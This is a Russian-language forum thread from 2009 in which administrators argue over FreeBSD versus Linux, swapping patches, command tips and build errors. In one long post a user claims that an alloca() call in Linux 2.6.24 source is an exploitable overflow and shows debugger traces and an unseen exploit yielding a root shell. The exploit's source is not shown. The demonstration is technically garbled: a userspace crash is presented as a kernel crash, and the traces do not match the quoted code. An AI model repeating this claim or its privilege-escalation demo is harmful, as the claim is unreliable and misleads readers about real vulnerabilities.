Спасите: BSD vs Linux (BSD forever)

Есть и такой ОС.

Модератор: weec

Правила форума
Убедительная просьба юзать теги [cоde] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35462
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex Keda » 2009-08-13 14:38:59

ноланда я спросил - жду ответа.
патч - если надо - на:

Код: Выделить всё

lissyara# cd /usr/
lissyara# diff -Nru src/sys/dev/drm/i915_drv.c.org  src/sys/dev/drm/i915_drv.c
--- src/sys/dev/drm/i915_drv.c.org      2009-08-13 15:31:44.000000000 +0400
+++ src/sys/dev/drm/i915_drv.c  2009-08-13 15:33:04.000000000 +0400
@@ -40,7 +40,7 @@

 /* drv_PCI_IDs comes from drm_pciids.h, generated from drm_pciids.txt. */
 static drm_pci_id_list_t i915_pciidlist[] = {
-       i915_PCI_IDS
+       i810_PCI_IDS
 };

 static int i915_suspend(device_t kdev)
lissyara#  
Убей их всех! Бог потом рассортирует...

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение paradox » 2009-08-13 14:47:58

это скорее даже не патч а хак
а ноланд уже пофиксит как надо
потому как этот патч отключает drm для i915 и включает для i810
скорее всего ноладн забыл за старые интеллы)

Alex_hha
лейтенант
Сообщения: 755
Зарегистрирован: 2005-11-06 18:25:26
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex_hha » 2009-08-13 14:53:12

А как дела на freebsd с поддержкой кластеров? Что то есть?

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35462
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex Keda » 2009-08-13 20:09:28

Alex_hha писал(а):А как дела на freebsd с поддержкой кластеров? Что то есть?
кластеров каких?
высокой доступности, высокой надёжности, или что вообще?
а лучше объясни зачем конкретно тебе это нужно.
ибо софт кластерный - это не есть часть операционной системы.
по крайней мере я не знаю ни одной операционной системы где это было бы её частью.
Убей их всех! Бог потом рассортирует...

Alex_hha
лейтенант
Сообщения: 755
Зарегистрирован: 2005-11-06 18:25:26
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex_hha » 2009-08-14 16:30:02

высокой доступности, высокой надёжности, или что вообще?
все вместе ;)

Аналог RHEL Cluster Suite

paix
лейтенант
Сообщения: 863
Зарегистрирован: 2007-09-24 12:41:05
Откуда: dn.ua
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение paix » 2009-08-14 17:50:03

Alex_hha писал(а):
высокой доступности, высокой надёжности, или что вообще?
все вместе ;)

Аналог RHEL Cluster Suite
ну ты помойму много хочеш от фряхи.

Вычислительные кластера на ней делают.
Кластера высокой доступности тоже делают,на базе shared SAN\NAS. Софтовых решений, да, можно считать нет.
а так чтобы все вместе да еще и с графической утилитой настройки...это ведь комуто нужно должно быть.

смысл об этом говорить?

ну а то, что на кластерах фряху маловато используют, да, факт. Достаточно поглядеть top100 вычислительных кластеров.
я так полагаю, это в силу меньше распостраннености и различного специфического софта.

Даже yahoo, известные своей любовь ко фряхе, на своем кластере (одним из крупнейших hadoop кластеров) используют линух. На все есть свои обьективные причины.

Ты мне скажи, как, в RHEL5 посмотреть статистику по использованию винта? типа top -mio во фряхе ;)
или посмотреть tcp queue size ?
а таблицы в iptables как замутить попростому?

лично мне данный спор интересен лишь постольку, насколько я могу узнать чтото новое (надеюсь). А гнуть писюны, одна система то умеет, а другая не умеет - это имхо, глупо.
With best wishes, Sergej Kandyla

Аватара пользователя
terminus
майор
Сообщения: 2305
Зарегистрирован: 2007-10-29 11:27:35
Откуда: Рига

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение terminus » 2009-08-15 10:36:36

Если разобрать - что есть RHEL Cluster suite?
- GFS - кластерная файловая система позволяющая нодам одновременно иметь доступ к общему хранилищу (storage/nas).
- Балансировщик нагрузки.
- Софт обеспечивающий режим hight availability следящий за нодами и перезапускающий задачи на других нодах, если главная сдохнет.
- Красивый интерфейс управления дающий возможность централизованно управлять всем вышеперечисленным.

Чего пока точно нет во фришке - это аналога GFS. Все остальное можно замутить руками/скриптами, а балансиорвщик на нате. Ну и конечно управлять всем придется руками...
Модель: AST-PM-105/0044; Тип: Универсальный, ремонтный; Название: Терминус; Род повреждения: Распад функций; Выводы: Сдать на слом.

_Andy
проходил мимо

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение _Andy » 2009-08-15 11:10:31

terminus писал(а):Чего пока точно нет во фришке - это аналога GFS. Все остальное можно замутить руками/скриптами, а балансиорвщик на нате. Ну и конечно управлять всем придется руками...
Вот в этом и отличие. Нужно промышленное решение, а не коллекция костылей и подпорок. Когда просто поиграть оно вроде сойдет,
когда это продакшн решение - это будет выглядеть жалко и смешно.

Alex_hha
лейтенант
Сообщения: 755
Зарегистрирован: 2005-11-06 18:25:26
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex_hha » 2009-08-15 18:48:37

Все остальное можно замутить руками/скриптами, а балансиорвщик на нате. Ну и конечно управлять всем придется руками...
:ROFL: no comments
лично мне данный спор интересен лишь постольку, насколько я могу узнать чтото новое (надеюсь). А гнуть писюны, одна система то умеет, а другая не умеет - это имхо, глупо.
я лишь хочу показать слабые стороны FreeBSD ибо тут были фанатики с пеной у рта доказывающие, что FreeBSD круче всех :-D и у нее все логично, а вот в Linux полный бардак, при этом не видя этот линух лет так 8 в глаза
а таблицы в iptables как замутить попростому?
это как? Мне хватает и командной строки iptables :)
Ты мне скажи, как, в RHEL5 посмотреть статистику по использованию винта? типа top -mio во фряхе
не знаю что такое top -mio во вряхе, но думаю yum install sysstat поможет
или посмотреть tcp queue size ?
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:30:48:66:A1:FA
inet addr:192.168.200.1 Bcast:192.168.200.255 Mask:255.255.255.0
inet6 addr: fe80::230:48ff:fe66:a1fa/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:218323577 errors:0 dropped:0 overruns:0 frame:0
TX packets:31444305 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3772659824 (3.5 GiB) TX bytes:2182891750 (2.0 GiB)
Memory:d8000000-d8020000

txqueuelen:1000 - то, что вам нужно. Задать можно с помощью ifconfig

разве это не меренье пиписьками?

Я лишь хочу узнать сильные/слабые стороны каждой ОС. А не высказывания типа - "FreeBSD рулез, там все так логично и такой порядок". Хотя уже приводили примеры с беспорядком некоторых портов.

Как сказал Леша, каждый уже сделал свой выбор, и я тоже. У меня уже не стоит вопрос в выборе дистрибутива. На данный момент все задачи, которые возникали у меня я отлично решал на RHEL. Поэтому переходить на FreeBSD только из-за того, что там все логично и нет бардака и это т.н. система не вижу смысла. Вот когда я не смогу решить какую то задачу на Linux, я без проблем перейду на FreeBSD.

З.Ы.
Сейчас лишь использую ее из-за jail. Удобная вещь :) Ну и мой сайт www.sys-adm.org.ua тоже крутится под FreeBSD :-D

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение paradox » 2009-08-15 19:05:23

а вот в Linux полный бардак, при этом не видя этот линух лет так 8 в глаза
программисту не обязательно что то запускать или видеть что бы знать как оно работает
к томуже линух сорусы я часто просматриваю
там полный **********

есть такое сравнение каждое %%%%%% можно приукрасить фантиками
и фанатики на это клюют
это сечас очень хоршо просматриваеться в линухе)))

Alex_hha
лейтенант
Сообщения: 755
Зарегистрирован: 2005-11-06 18:25:26
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex_hha » 2009-08-15 20:16:32

программисту не обязательно что то запускать или видеть что бы знать как оно работает
к томуже линух сорусы я часто просматриваю
там полный **********
очень компетентное заявление :-D .
есть такое сравнение каждое %%%%%% можно приукрасить фантиками
и фанатики на это клюют
это сечас очень хоршо просматриваеться в линухе)))
Видать в top 100 тоже все купились на фантики :ROFL:

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение zingel » 2009-08-16 2:22:27

очень компетентное заявление :-D .
Я напримр в компетентности парадокса не сомневаюсь и вообще давайте завязывать, каждый остался всеравно при своем, традиция традицией но уже хватит, 6 страниц уже.
Z301171463546 - можно пожертвовать мне денег

Гость
проходил мимо

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Гость » 2009-08-16 9:14:10

zingel писал(а):Я напримр в компетентности парадокса не сомневаюсь и вообще давайте завязывать, каждый остался всеравно при своем, традиция традицией но уже хватит, 6 страниц уже.
Знаешь, а я еще и не сомневаюсь в компетентности разработчиков ядра Linux. Уже не однократно предлагалось
опровергнуть заблуждение, что в ядро включают любое г..., собственными примером, а воз и ныне там, как говорится,
только отговорки - "я не буду посылать свой код туда".

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение paradox » 2009-08-16 9:56:42

я имел ввиду не в то что туда включают
а в том как кодят

а после очередной новости на лоре отом что всем малолеткам школьного возраста предлагают начать кодить на ГНУ проекты
(смысл в принципе такой же может сказано по другому)
то можно представить куда и что они буду кодить


вообщем предлагаю закрыть нафиг тему
и в дальнейшем любые предложение и темы удалять сразу а юзерам делать замечание

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение ProFTP » 2009-08-16 10:07:29

и Linux и FreeBSD фтопку

надо делать аналоговые квантовые машины, в которых частицы существуют как функция вероятности http://nauka.relis.ru/cgi/nauka.pl?07+0 ... 01024+HTML

Изображение
Последний раз редактировалось ProFTP 2009-08-16 10:44:27, всего редактировалось 1 раз.
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

_Andy
проходил мимо

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение _Andy » 2009-08-16 10:24:48

paradox писал(а):я имел ввиду не в то что туда включают
а в том как кодят
Каждый пишет по-разному.
paradox писал(а): а после очередной новости на лоре отом что всем малолеткам школьного возраста предлагают начать кодить на ГНУ проекты
(смысл в принципе такой же может сказано по другому)
то можно представить куда и что они буду кодить
Сомневаюсь, что будет сильно хуже индусов и жаба программистов, которые
всех отправляют прикупить памяти, так как она сейчас дешевая ;)
paradox писал(а):вообщем предлагаю закрыть нафиг тему
и в дальнейшем любые предложение и темы удалять сразу а юзерам делать замечание
Не, не надо тему закрывать. Хорошее обсуждение идет. Делаю тебе замечание :)

_Andy
проходил мимо

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение _Andy » 2009-08-16 10:26:17

ProFTP писал(а):и Linux и FreeBSD фтопку
надо делать аналоговые квантовые машины, в которых частицы существуют как функция вероятности http://nauka.relis.ru/cgi/nauka.pl?07+0 ... 01024+HTML
Профтп - никогда не пиши на формумах, пока у тебя приход.

Alex_hha
лейтенант
Сообщения: 755
Зарегистрирован: 2005-11-06 18:25:26
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex_hha » 2009-08-16 17:13:37

Я напримр в компетентности парадокса не сомневаюсь и вообще давайте завязывать, каждый остался всеравно при своем, традиция традицией но уже хватит, 6 страниц уже.
конструктивной критики от вас я так и не услышал, кроме заявлений - "в линухе полный бардак". Поэтому действительно не вижу смысла больше общаться на эту тему :)

А вот вам и хваленный порядок в портах freebsd
===> Registering installation for glib-2.20.4
===> Returning to build of mc-4.6.2
Error: shared library "glib-2.0.0" does not exist
*** Error code 1

Stop in /usr/ports/misc/mc.
*** Error code 1

Stop in /usr/ports/misc/mc.
с glib-2.20.4 mc не собирается

_Andy
проходил мимо

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение _Andy » 2009-08-17 5:09:06

Alex_hha писал(а): А вот вам и хваленный порядок в портах freebsd
===> Registering installation for glib-2.20.4
===> Returning to build of mc-4.6.2
Error: shared library "glib-2.0.0" does not exist
*** Error code 1

Stop in /usr/ports/misc/mc.
*** Error code 1

Stop in /usr/ports/misc/mc.
с glib-2.20.4 mc не собирается
Midnight Commander - это моветон.

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35462
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение Alex Keda » 2009-08-17 8:53:13

Alex_hha писал(а):с glib-2.20.4 mc не собирается
гы-гы-гы =)))
==========
лучше скажи ключи к iostat чтоб он был похож на фряшный

Код: Выделить всё

iostat -w1
и аналог gstat
Убей их всех! Бог потом рассортирует...

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение zingel » 2009-08-17 9:03:08

Код: Выделить всё

конструктивной критики от вас я так и не услышал, кроме заявлений - "в линухе полный бардак". Поэтому действительно не вижу смысла больше общаться на эту тему :)
компетентная критика уже была, линукс Ваш полная хуета, ещё раз могу повторить, ищите по форуму я писал не 1 раз, я не вижу смысла повторять то что уже два раза написал, тэги поиска - POSIX, SuS, вызовы, я описывал какие, я приводил примеры кода,хотите побуквенно разберём - разберем, хотите проведём тесты - проведём, разозливы Вы меня своей упертостью. =(

Не, не пойдёт, давайте уж раз и навсегда чтобы больше не возвращаться.


Итак поехали, вызов alloca()
Z301171463546 - можно пожертвовать мне денег

rainy
мл. сержант
Сообщения: 76
Зарегистрирован: 2008-02-01 23:26:45

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение rainy » 2009-08-17 9:23:36

Итак поехали, вызов alloca()
и что не так?
для posix совместимых программ есть malloc и free

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение zingel » 2009-08-17 11:03:45

для posix совместимых программ есть malloc и free
Я наслышан весьма =)
Что не так?
Что не так, да в ней всё не так, начиная с её назначения, вот к примеру дайте сначала я вам поясню для чего она нужна, дорогие мои, итак, аллокатор (выделятель ежели по русски) alloca() необходим для того, чтобы выделять память, которая автоматически освобождается, когда происходит возврат из функции, в которой вызывалась alloca, таким образом почти всегда невозможно определить длинну фрейма в выделяемом стеке, что почти всегда на 90 процентов делает вызов опасным для использования, по этому эта функция функция-пиздец и её использование в случаях когда оно может быть заменено чем-то дургим - дефолтных хардкод, с этим спорить я думаю никто из Вас не будет, но всеравно оно есть почти везде, а вот как оно есть и сколько его в этом то и прикол (везде по разному реализовано), то есть тут встаёт два вопроса:

1)Как оно есть?
2)Сколько этого говна?

проведём эксперимент и возьмём ядро 2.6.24 на ублюдской ubuntu, выполнив:

Код: Выделить всё

apt-get install linux-source-2.6.24 build-essential kernel-package libncurses5-dev fakeroot
поставилось, теперь идём в /usr/src и ищем это выполнив

Код: Выделить всё

cd /usr/src && tar xf linux-source-2.6.24.tar.bz2
смотрим сколько его

на фре:

Код: Выделить всё

[root@zingel /usr/home/666]# grep -R 'alloca('  /usr/src/sys/kern/* | wc -l
       0
в линуксе:

Код: Выделить всё

root@test3:/usr/src# grep -R 'alloca('  linux-source-2.6.24/*  | wc -l
3
какая прелесть и что же это? идём смотреть и что же мы видим? а видим мы вот что:

Код: Выделить всё

static void print_list(FILE * f, struct string_list *list)
{
        struct string_list **e, **b;
        struct string_list *tmp, **tmp2;
        int elem = 1;

        if (list == NULL) {
                fputs("(nil)", f);
                return;
        }

        tmp = list;
        while ((tmp = tmp->next) != NULL)
                elem++;

        b = alloca(elem * sizeof(*e));
        e = b + elem;
        tmp2 = e - 1;

        (*tmp2--) = list;
        while ((list = list->next) != NULL)
                *(tmp2--) = list;

        while (b != e) {
                print_node(f, *b++);
                putc(' ', f);
        }
}


какая прелесть, мы видим шикарное переполнение буфера в виртуальной функции для печати строк, олично идём и запарываем к ебаной матери ядро делая переполнение нулевого указателя:

Код: Выделить всё

root@test3:/usr/src# gcc -Wall -o list list.c
root@test3:/usr/src# ./list
raz
dva
tri i pizdec
Segmentation fault
(gdb) r
Starting program: /usr/src/list

                    Program received signal SIGSEGV, Segmentation fault.
0x00ae425b in strlen () from /lib/tls/i686/cmov/libc.so.6
смотрим дальше

Код: Выделить всё

(gdb) where
#0  0x0067725b in strlen () from /lib/tls/i686/cmov/libc.so.6
#1  0x00661635 in puts () from /lib/tls/i686/cmov/libc.so.6
#2  0x0804849c in print_list ()
#3  0x080484b7 in print_list ()
#4  0x080484b7 in print_list ()
#5  0x080484b7 in print_list ()
#6  0x08048458 in main ()
(gdb) p main
$1 = {<text variable, no debug info>} 0x8048414 <main>
(gdb)disass print_list
x08048494 <print_list+9>:      mov    %eax,(%esp)
0x08048497 <print_list+12>:     call   0x8048374 <puts@plt>
0x0804849c <print_list+17>:     mov    0x8(%ebp),%eax
0x0804849f <print_list+20>:     test   %eax,%eax
0x080484a1 <print_list+22>:     je     0x80484b7 <print_list+44>
0x080484a3 <print_list+24>:     mov    0x8(%ebp),%eax
0x080484a6 <print_list+27>:     mov    0x4(%eax),%edx
0x080484a9 <print_list+30>:     mov    (%eax),%eax
0x080484ab <print_list+32>:     mov    %eax,(%esp)
0x080484ae <print_list+35>:     mov    %edx,0x4(%esp)
0x080484b2 <print_list+39>:     call   0x804848b <print_list>
выходим, дальше

Код: Выделить всё

root@test3:/usr/src# ltrace ./list
__libc_start_main(0x8048414, 1, 0xbfbced34, 0x8048560, 0x8048550 <unfinished ...>
puts("raz"raz
)                                                                  = 4
puts("dva"dva
)                                                                  = 4
puts("tri i pizdec"tri i pizdec
)                                                         = 13
puts("\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"... <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
вот и оно, дальше берём кое чего и компилим:

Код: Выделить всё

root@test3:/usr/src# su postgres
postgres@test3:~$ cd ~
postgres@test3:~$ cat > ovn.c
...
^С
postgres@test3:~$ gcc -o ovn ovn.c
ovn.c: In function 'main':
ovn.c:106: warning: incompatible implicit declaration of built-in function 'strlen'
ovn.c:111: warning: incompatible implicit declaration of built-in function 'memcpy'
postgres@test3:~$ ./ovn
pileup-xpl by core 2001 - beep beep root!
usage: ./ovn [offset] [align(0..3)]
Ret-addr: 0xbf981598, offset: 0, align: 0.
raz
dva
tri i pizdec
Segmentation fault
Score: core wins!
sh: /dev/core: 
#id
uid=0(root) gid=0(root) groups=0(root)

...вот такая забавная alloca(), да во фряхе такого нет, потом, что там есть по дефолту fstack_protector.

код кому интересно в личку - дам код.

Читайте я подожду, как прочитаете пойдём дальше.
Z301171463546 - можно пожертвовать мне денег

Аватара пользователя
weec
лейтенант
Сообщения: 948
Зарегистрирован: 2007-07-24 11:17:35
Откуда: Afghanistan
Контактная информация:

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение weec » 2009-08-17 11:48:41

lissyara,

Код: Выделить всё

# watch iostat

paradox
проходил мимо
Сообщения: 11620
Зарегистрирован: 2008-02-21 18:15:41

Re: Спасите: BSD vs Linux (BSD forever)

Непрочитанное сообщение paradox » 2009-08-17 11:55:06

ну вот теперь из за зингеля в мире упадет еще сотню линукс серверов((((
))))))